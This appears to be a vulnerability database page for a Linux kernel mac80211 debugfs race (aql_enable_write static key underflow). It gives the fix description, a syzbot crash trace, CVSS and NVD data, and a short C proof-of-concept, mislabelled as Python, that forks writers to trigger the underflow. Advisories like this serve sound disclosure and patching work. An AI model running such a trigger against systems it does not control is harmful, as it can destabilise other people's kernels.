CVE-2026-31551

Description

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: Fix static_branch_dec() underflow for aql_disable. syzbot reported static_branch_dec() underflow in aql_enable_write(). [0] The problem is that aql_enable_write() does not serialise concurrent write()s to the debugfs. aql_enable_write() checks static_key_false(&aql_disable.key) and later calls static_branch_inc() or static_branch_dec(), but the state may change between the two calls. aql_disable does not need to track inc/dec. Let's use static_branch_enable() and static_branch_disable(). [0]: val == 0 WARNING: kernel/jump_label.c:311 at __static_key_slow_dec_cpuslocked.part.0+0x107/0x120 kernel/jump_label.c:311, CPU#0: syz.1.3155/20288 Modules linked in: CPU: 0 UID: 0 PID: 20288 Comm: syz.1.3155 Tainted: G U L syzkaller #0 PREEMPT(full) Tainted: [U]=USER, [L]=SOFTLOCKUP Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/24/2026 RIP: 0010:__static_key_slow_dec_cpuslocked.part.0+0x107/0x120 kernel/jump_label.c:311 Code: f2 c9 ff 5b 5d c3 cc cc cc cc e8 54 f2 c9 ff 48 89 df e8 ac f9 ff ff eb ad e8 45 f2 c9 ff 90 0f 0b 90 eb a2 e8 3a f2 c9 ff 90 <0f> 0b 90 eb 97 48 89 df e8 5c 4b 33 00 e9 36 ff ff ff 0f 1f 80 00 RSP: 0018:ffffc9000b9f7c10 EFLAGS: 00010293 RAX: 0000000000000000 RBX: ffffffff9b3e5d40 RCX: ffffffff823c57b4 RDX: ffff8880285a0000 RSI: ffffffff823c5846 RDI: ffff8880285a0000 RBP: 0000000000000000 R08: 0000000000000005 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 000000000000000a R13: 1ffff9200173ef88 R14: 0000000000000001 R15: ffffc9000b9f7e98 FS: 00007f530dd726c0(0000) GS:ffff8881245e3000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000200000001140 CR3: 000000007cc4a000 CR4: 00000000003526f0 Call Trace: <TASK> __static_key_slow_dec_cpuslocked kernel/jump_label.c:297 [inline] __static_key_slow_dec kernel/jump_label.c:321 [inline] static_key_slow_dec+0x7c/0xc0 kernel/jump_label.c:336 aql_enable_write+0x2b2/0x310 net/mac80211/debugfs.c:343 short_proxy_write+0x133/0x1a0 fs/debugfs/file.c:383 vfs_write+0x2aa/0x1070 fs/read_write.c:684 ksys_pwrite64 fs/read_write.c:793 [inline] __do_sys_pwrite64 fs/read_write.c:801 [inline] __se_sys_pwrite64 fs/read_write.c:798 [inline] __x64_sys_pwrite64+0x1eb/0x250 fs/read_write.c:798 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xc9/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f530cf9aeb9 Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f530dd72028 EFLAGS: 00000246 ORIG_RAX: 0000000000000012 RAX: ffffffffffffffda RBX: 00007f530d215fa0 RCX: 00007f530cf9aeb9 RDX: 0000000000000003 RSI: 0000000000000000 RDI: 0000000000000010 RBP: 00007f530d008c1f R08: 0000000000000000 R09: 0000000000000000 R10: 4200000000000005 R11: 0000000000000246 R12: 0000000000000000 R13: 00007f530d216038 R14: 00007f530d215fa0 R15: 00007ffde89fb978 </TASK>

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < commit 256f7d4c11235d0569f78413c41dc89d2dc1557c

Linux Kernel < commit 29a1a350afcd28a2150bd73b8bd83eac3480f13e

Linux Kernel < commit 5ba05436f15d16ae7ab04b880e8bf8d440be892b

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31551
 * This code attempts to trigger the race condition in aql_enable_write()
 * by writing concurrently to the debugfs interface.
 * Compile: gcc -o poc_cve202631551 poc_cve202631551.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

#define DEBUGFS_PATH "/sys/kernel/debug/ieee80211/phy0/aql_enable" // Path may vary

void trigger_write() {
    int fd = open(DEBUGFS_PATH, O_WRONLY);
    if (fd < 0) {
        perror("open debugfs");
        return;
    }
    // Toggle value to trigger inc/dec logic
    char *val = "1";
    for (int i = 0; i < 1000; i++) {
        write(fd, val, 1);
        val = (val[0] == '1') ? "0" : "1";
    }
    close(fd);
}

int main() {
    printf("[+] Starting PoC for CVE-2026-31551...\n");
    
    // Fork multiple processes to increase race condition likelihood
    for (int i = 0; i < 10; i++) {
        if (fork() == 0) {
            trigger_write();
            exit(0);
        }
    }
    
    sleep(2); // Wait for children to execute
    printf("[+] Exploit attempt finished. Check dmesg for warnings.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31551
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31551
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31551/
[4] VulDB https://vuldb.com/cve/CVE-2026-31551
[5] https://git.kernel.org/stable/c/256f7d4c11235d0569f78413c41dc89d2dc1557c
[6] https://git.kernel.org/stable/c/29a1a350afcd28a2150bd73b8bd83eac3480f13e
[7] https://git.kernel.org/stable/c/5ba05436f15d16ae7ab04b880e8bf8d440be892b
[8] https://git.kernel.org/stable/c/787152497ac763deab16f6f4b7ce79aaeb3eb7e8
[9] https://git.kernel.org/stable/c/8bb90ff77326c34e75b573b1febdd9586fec5aba
[10] https://git.kernel.org/stable/c/b24763d32d5b4ada766deca4b42d6766272fef0c
[11] https://git.kernel.org/stable/c/b94ae8e0d5fe1bdbbfdc3854ff6ce98f6876a828

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31551", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:29.350", "lastModified": "2026-04-27T20:15:30.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: Fix static_branch_dec() underflow for aql_disable.\n\nsyzbot reported static_branch_dec() underflow in aql_enable_write(). [0]\n\nThe problem is that aql_enable_write() does not serialise concurrent\nwrite()s to the debugfs.\n\naql_enable_write() checks static_key_false(&aql_disable.key) and\nlater calls static_branch_inc() or static_branch_dec(), but the\nstate may change between the two calls.\n\naql_disable does not need to track inc/dec.\n\nLet's use static_branch_enable() and static_branch_disable().\n\n[0]:\nval == 0\nWARNING: kernel/jump_label.c:311 at __static_key_slow_dec_cpuslocked.part.0+0x107/0x120 kernel/jump_label.c:311, CPU#0: syz.1.3155/20288\nModules linked in:\nCPU: 0 UID: 0 PID: 20288 Comm: syz.1.3155 Tainted: G U L syzkaller #0 PREEMPT(full)\nTainted: [U]=USER, [L]=SOFTLOCKUP\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/24/2026\nRIP: 0010:__static_key_slow_dec_cpuslocked.part.0+0x107/0x120 kernel/jump_label.c:311\nCode: f2 c9 ff 5b 5d c3 cc cc cc cc e8 54 f2 c9 ff 48 89 df e8 ac f9 ff ff eb ad e8 45 f2 c9 ff 90 0f 0b 90 eb a2 e8 3a f2 c9 ff 90 <0f> 0b 90 eb 97 48 89 df e8 5c 4b 33 00 e9 36 ff ff ff 0f 1f 80 00\nRSP: 0018:ffffc9000b9f7c10 EFLAGS: 00010293\nRAX: 0000000000000000 RBX: ffffffff9b3e5d40 RCX: ffffffff823c57b4\nRDX: ffff8880285a0000 RSI: ffffffff823c5846 RDI: ffff8880285a0000\nRBP: 0000000000000000 R08: 0000000000000005 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000000 R12: 000000000000000a\nR13: 1ffff9200173ef88 R14: 0000000000000001 R15: ffffc9000b9f7e98\nFS: 00007f530dd726c0(0000) GS:ffff8881245e3000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000200000001140 CR3: 000000007cc4a000 CR4: 00000000003526f0\nCall Trace:\n <TASK>\n __static_key_slow_dec_cpuslocked kernel/jump_label.c:297 [inline]\n __static_key_slow_dec kernel/jump_label.c:321 [inline]\n static_key_slow_dec+0x7c/0xc0 kernel/jump_label.c:336\n aql_enable_write+0x2b2/0x310 net/mac80211/debugfs.c:343\n short_proxy_write+0x133/0x1a0 fs/debugfs/file.c:383\n vfs_write+0x2aa/0x1070 fs/read_write.c:684\n ksys_pwrite64 fs/read_write.c:793 [inline]\n __do_sys_pwrite64 fs/read_write.c:801 [inline]\n __se_sys_pwrite64 fs/read_write.c:798 [inline]\n __x64_sys_pwrite64+0x1eb/0x250 fs/read_write.c:798\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xc9/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f530cf9aeb9\nCode: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f530dd72028 EFLAGS: 00000246 ORIG_RAX: 0000000000000012\nRAX: ffffffffffffffda RBX: 00007f530d215fa0 RCX: 00007f530cf9aeb9\nRDX: 0000000000000003 RSI: 0000000000000000 RDI: 0000000000000010\nRBP: 00007f530d008c1f R08: 0000000000000000 R09: 0000000000000000\nR10: 4200000000000005 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007f530d216038 R14: 00007f530d215fa0 R15: 00007ffde89fb978\n </TASK>"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.12.1", "versionEndExcluding": "5.15.203", "matchCriteriaId": "AA3D6441-4F2E-41AB-A26D-388B03A5932F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, ... (truncated)